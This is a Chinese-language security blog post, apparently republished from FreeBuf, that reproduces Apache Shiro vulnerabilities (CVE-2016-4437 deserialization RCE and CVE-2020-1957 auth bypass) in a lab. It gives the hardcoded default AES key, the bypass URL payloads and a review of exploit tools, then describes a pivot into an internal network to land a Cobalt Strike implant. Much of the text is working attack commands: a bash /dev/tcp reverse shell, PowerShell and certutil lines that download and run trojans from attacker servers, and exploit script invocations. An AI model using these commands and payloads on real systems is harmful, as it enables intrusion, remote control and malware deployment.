框架安全之Shiro渗透
2021-06-12 02:18:39 Author: www.freebuf.com(查看原文) 阅读量:161 收藏

本篇文章是Shiro框架复现记录,记录了实际中常见的Shiro框架漏洞并如何利用,对漏洞底层的原理简单分析,主要分为五个部分:Shiro简单介绍、相关环境搭建、漏洞复现、工具介绍和自建内网环境实战。

本篇文章由浅入深地复现了两个经典漏洞及介绍五个Shiro渗透工具,相关参考文章也在文中有列出。此外,文中也可能会出现部分错误,望读者指出,谢谢。接着,开始我们的Shiro渗透之路学习!

一、Shiro简介

1、Shiro介绍

Apache Shiro是一个强大且易用的Java安全框架,用于身份验证、授权、密码和会话管理,具有以下特点:

易于使用——易用性是项目的最终目标。应用程序安全非常令人困惑和沮丧,被认为是“不可避免的灾难”。如果你让它简化到新手都可以使用它,它就将不再是一种痛苦了。

全面——没有其他安全框架的宽度范围可以同Apache Shiro一样,它可以成为你的“一站式”为您的安全需求提供保障。

灵活——Apache Shiro可以在任何应用程序环境中工作。虽然在网络工作、EJB和IoC环境中可能并不需要它。但Shiro的授权也没有任何规范,甚至没有许多依赖关系。

Web支持——Apache Shiro拥有令人兴奋的web应用程序支持,允许您基于应用程序的url创建灵活的安全策略和网络协议(例如REST),同时还提供一组JSP库控制页面输出。

低耦合——Shiro干净的API和设计模式使它容易与许多其他框架和应用程序集成。你会看到Shiro无缝地集成Spring这样的框架, 以及Grails, Wicket, Tapestry, Mule, Apache Camel, Vaadin…等。

被广泛支持——Apache Shiro是Apache软件基金会的一部分。项目开发和用户组都有友好的网民愿意帮助。这样的商业公司如果需要Katasoft还提供专业的支持和服务。

2、Shiro漏洞原理

Shiro框架下,用户登陆成功后会生成一个经过加密的Cookie。其CookieKey的值为RememberMeValue的值是经过序列化、AES加密和Base64编码后得到的结果。

服务端在接收到一个Cookie时,会按照如下步骤进行解析处理:

检索RememberMe Cookie的值

进行Base64解码

进行AES解码

进行反序列化操作

在第4步中的调用反序列化时未进行任何过滤,进而可以导致出发远程代码执行漏洞。

由于使用了AES加密,成功利用该漏洞需要获取AES的加密密钥,在Shiro1.2.4版本之前AES的加密密钥为硬编码,其默认密钥的Base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,于是就可得到Payload的构造流程:

恶意命令-->序列化-->AES加密-->base64编码-->发送Cookie

目前官方通过去掉硬编码的密钥是的每次生成一个密钥来解决其漏洞,但可以通过搜索引擎等方式收集到不同的密钥,提高对该漏洞的利用成功率。

3、Shiro漏洞指纹

响应包中存在字段set-Cookie: rememberMe=deleteMe

二、环境搭建

1、Java1.8安装

下载地址:https://www.java.com/zh-CN/download/

默认下一步安装即可

2、Tomcat8.x安装

下载地址:https://tomcat.apache.org/download-80.cgi

默认下一步安装即可

3、部署Shiro war包

whiro.war包放置C:\Tomcat 8.5\webapps\目录下

开启Tomcat

gxq8sI.png

访问网址:192.168.112.151:8080,该ip是环境自身ip地址

gxq3QA.png

4、漏洞环境搭建

这里使用vulhub靶场进行Spring渗透学习

0x01 Docker环境安装

参考:vulhub漏洞环境搭建

1、安装Docker

sudo apt install curl
curl -s https://get.docker.com/ | sh

gPa2sU.png

gPagMT.png

2、安装python和pip

sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py

gPa6zV.png

gPasGq.png

3、安装docker-compose

pip install docker-compose
sudo apt install docker-compose
docker-compose -v

gPayR0.png

gPaBIs.png

0x02 vulhub靶场安装

git clone https://github.com/vulhub/vulhub.git
cd vulhub/httpd/CVE-2017-15715/
sudo docker-compose build # 构建
sudo docker-compose up -d # 命令启动容器
docker ps # 查看正在运行的容器
sudo docker exec -it b5975a1a5bfe /bin/bash # 进入docker容器内

gPa0aj.png

gPawZQ.png

本机IP为192.168.112.141

参考: Docker容器进入的4种方式

三、漏洞复现

以复现操作为主,底层原理解析见之后的文章

1、Apache Shiro反序列化漏洞(CVE-2016-4437)

AES密钥猜解RCE

0x01 漏洞概述

Shiro框架下,用户登陆成功后会生成一个经过加密的Cookie。其CookieKey的值为RememberMeValue的值是经过序列化、AES加密和Base64编码后得到的结果。AES的加密密钥为硬编码,导致攻击者可以构造恶意数据造成反序列化RCE漏洞

影响版本:

Shiro < 1.2.5

0x02 漏洞指纹

响应包中存在字段set-Cookie: rememberMe=deleteMe

0x03 漏洞利用

1)使用工具进行AES密钥猜解

gxqlzd.png

2)使用工具命令执行

gxqQRH.png

0x04 自动化工具及上线CS

这里介绍一款反序列化远程命令执行利用脚本shiro-1.2.4-rce传送门

利用条件:shiro <= 1.2.4

使用延时判断keygadget,即使目标不出网也可以检测是否存在漏洞。Python脚本需要调用ysoserial-sleep.jar,这里的ysoserial-sleep.jar文件并不是原版的,增加了延时命令功能,故不要使用原版ysoserial,否则将无法检测。该工具具有4个特性:

  1. Key可修改添加

  2. 具有延时功能

  3. 执行的命令使用了Base64编码

  4. 区分LinuxWindows

使用方法:

gxqKiD.png

输入python3 shiro-1.2.4_rce.py http://192.168.112.151:8080/shiro/这里的IP是刚刚在Win7上搭建的环境的IP

执行calc,远程打开目标主机上的计算器程序

gxqMJe.png

注意点:这里命令是自动编制执行的,仍可执行,但是无回显

上线CS:

由于上述自动化工具没有回显,这里尝试上线到CS后进一步渗透

1)开启teamserver

teamserver 192.168.112.145 1111

gxqmdK.png

2)生成木马文件

开启python简易http服务,但是我这win7没安装python,就将该木马文件放到kali上,在开启简易http用于传输

gxqeZ6.png

3)Kali上开启python简易HTTP服务

python -m SimpleHTTPServer 8008

gxqVqx.png

4)结合之前得到的shell上线CS

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.112.149:8008/Shiro1.exe','Shiro1.exe');start-process Shiro1.exe

gxqnIO.png

2、 Apache Shiro权限绕过漏洞(CVE-2020-1957)

越权访问

参考:Shiro 权限绕过漏洞分析(CVE-2020-1957) - 斗象能力中心 (riskivy.com)

0x01 漏洞概述

Shiro框架使用拦截器对用户访问权限进行控制,常见的有如anon、authc等拦截器。

anon拦截器为匿名拦截器,无需登陆即可进行访问,一般用于静态资源。authc为登陆拦截器,需要登陆才可以访问。

用户可以在Shiro.ini编写匹配URL配置,将会拦截匹配的URL,并执行响应的拦截器。从而实现对URL的访问控制,URL路径表达式通常为ANT格式。即访问/index时无需登陆,而访问/user/test时需要登陆认证。

#Shiro.ini
/index = anon
/user/** = authc
------
Ant格式:
?:匹配一个字符
*:匹配零个或多个字符串
**:匹配路径中的零个或多个路径

这里的/**可以匹配路径,即可以匹配到/user/test/,而/*只能匹配到单个或多个字符串,即/user/test。那么假设配置内改为:/user/* = authc,则可以匹配到/user/test但无法匹配到/user/test/(多了个斜杆),那么就会放行/user/test/。然后进入到Spring(Servlet)拦截器中,对于Spring,上述两个路径都是一致的,于是就造成了权限绕过。

影响版本:

Shiro < 1.5.3

0x02 漏洞环境

这里简单搭建环境测试下

1)拉取镜像

docker pull vulfocus/shiro-cve_2020_1957

gxqOYD.png

2)查看并开启docker

docker images

docker run -d -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.112.141 29136b1d3c61

docker ps

gxqLFO.png

3)访问靶机,开启成功

gxqoO1.png

0x03 漏洞利用

1)访问/hello/1,返回302重定向信息

/hello/1

gxqbTK.png

2)访问/hello/1/,成功绕过authc拦截器

/hello/1/

gxqHw6.png

除此之外,还可以使用下面的payload

/abcd;/../hello/1

gxq7ex.png

0x04 类似漏洞

类似的漏洞还有CVE-2020-11989、CVE-2020-13933

四、Shiro渗透工具介绍

测试靶机地址信息:

Win7搭建:
192.168.112.151
http://192.168.112.151:8080/shiro/
Linux Vulhub靶机:
192.168.112.141
http://192.168.112.141:8080

1、shiro反序列化漏洞综合利用工具v1.5

猜解Key和命令执行,对Linux较友好

工具截图:

gxLM7V.png

工具使用:

该工具主要给用于测试,上手简单,将目标地址填入对应栏即可

经测试Windows环境下有点小问题,能猜解Key但是无法命令注入

gxLmXn.png

在Linux下使用体验较好

gxLumq.png

2、Shiro反序列化回显工具v2.3

猜解Key,效果一般

工具截图:该工具可自行添加Key

gxLK00.png

工具使用:

上手也是挺简单的,将key文件导入至Key框中,选择默认DNSLOG即可,开始检测。

不过体验时经常会找不到key

3、Shiro命令执行工具-雷石安全实验室

猜解Key,内置117个Key

工具截图:

gxLZlj.png

工具使用:

填入url,点击DNSLOG检测

gxLe6s.png

4、Shiro550/721漏洞检测v2.51

用于外网的Key猜解及getshell,对Linux较友好

工具地址:https://github.com/feihong-cs/ShiroExploit-Deprecated

工具截图:

gxL4N8.png

工具使用:

添加目标地址http://192.168.112.151:8080/shiro/,点击下一步,选择dnslog.cn进行漏洞检测,点击下一步进行猜解。

gxLcjA.png

获取到Key值后,该工具提供了三种方式进行下一步的渗透,具体如下:

反弹Shell(Linux):采用 bash -i >& /dev/tcp/1.2.3.4/443 0>&1 命令获取shell
反弹Shell(Windows):采用 bitsadmin下载指定URL的exe可执行文件执行功能获取shell
获取Webshell 在给出的路径中写入webshell,webshell的内容在config目录下的shell.jsp中

这里选择反弹Shell(Linux),下面结合Kali获取到shellkali端开启监听,在命令行中写入kali的地址及端口号。

gxLRBt.png

gxL2nI.png

选择反弹Shell(Windows)进行尝试,这里先启动了CS、python简易服务器,按照命令格式,输入下载exe文件的url,但是并未成功。看到下面有一行代码,测试直接在装有shiro主机处是否有效。

gxLWHP.png

certutil.exe -urlcache -split -f http://192.168.112.149:8010/Shiro1.exe shell.exe & shell.exe

结果上线CS成功,说明该工具在命令执行这方面还是有点小bug

gxLhAf.png

测试获取Webshell选项,同样是有点小问题。

5、shiro-1.2.4-rce

可用于内网猜解Key,对Linux和Windows都支持较好

这里介绍一款反序列化远程命令执行利用脚本shiro-1.2.4-rce

工具地址:https://github.com/zhzyker/shiro-1.2.4-rce)

工具截图:

gxqKiD.png

利用条件:shiro <= 1.2.4

使用延时判断keygadget,即使目标不出网也可以检测是否存在漏洞。Python脚本需要调用ysoserial-sleep.jar,这里的ysoserial-sleep.jar文件并不是原版的,增加了延时命令功能,故不要使用原版ysoserial,否则将无法检测。该工具具有4个特性

Key可修改添加

具有延时功能

执行的命令使用了Base64编码

区分LinuxWindows

工具使用:

python3 shiro-1.2.4_rce.py http://192.168.112.151:8080/shiro/

这里的IP是刚刚在Win7上搭建的环境的IP

选择操作系统,这里选择Windows。如果未知操作系统类型,可以随便选一个,错了再跑一遍即可。

执行calc,远程打开目标主机上的计算器程序

gxqMJe.png

注意点:这里命令是自动编制执行的,仍可执行,但是无回显

五、内网Shiro渗透|上线CS

1、环境配置信息

内网主机
搭建了shiro框架
10.10.10.100

内网对外服务器
充当一个跳板
10.10.10.11
192.168.112.157

公网服务器
用于和内网连接
192.168.112.145

Kali Linux
192.168.112.149

2、实验模拟过程

1)获取内网服务器并上线CS

重点在于后面内网主机的获取,这里直接假设获取了服务器的权限并上线了CS

gxOGUf.png

2)建立frp代理

frps.exe -c frps.ini
frpc.exe -c frpc.ini

这里设置有点小问题,frps.ini中的bind_addr应该设置为0.0.0.0接收全部地址的请求。但是这里也能进行下去,我思考下

gxO8VP.png

在公网服务器上开启Proxifier代理隧道

gxOQKA.png

3)Kali通过代理使用脚本进行Attack

配置proxychains.conf

vi /etc/proxychains4.conf

gxO1bt.png

执行攻击脚本

proxychains python3 shiro-1.2.4_rce.py http://10.10.10.100:8080/shiro/

gxOlDI.png

成功猜解到加密密钥,得到一个shell框

gxOKvd.png

下一步就是上线CS了

4)创建中转监听器

gxOZ4O.png

选择监听器和监听主机(这里的监听主机Host需要改为内网的地址)

gxOn8e.png

5)生成木马

gxOmCD.png

选择中转监听器

gxXMJU.png

6)内网主机上线CS

将该木马文件放到内网服务器目录上(由于这里没有服务器目录,使用开启python简易服务器进行模拟,传输木马文件)

python -m http.server 80

gxOVUK.png

输入命令,上线CS

powershell (new-object System.Net.WebClient).DownloadFile('http://10.10.10.11/shiro001.exe','shiro.exe');start-process shiro.exe

gxOugH.png

遗憾的是这里还是有点小bug,没能复现成功,但基本思路就是这样

六、总结

Shiro框架使用了AES对称加密技术,故其加密密钥与解密密钥一致,并且密钥是硬编码在代码中的,容易获取。也就是说在获取了密钥之后可以通过构建恶意的Cookie获取权限执行攻击命令,得到root权限。解决措施就是升级Shiro版本至shiro1.2.5以上。而对于最近出现的shiro权限绕过漏洞,应需尽量避免使用*通配符作为动态路由拦截器的URL路径表达式或者升级shiro1.5.2版本以上。


文章来源: https://www.freebuf.com/vuls/274305.html
如有侵权请联系:admin#unsafe.sh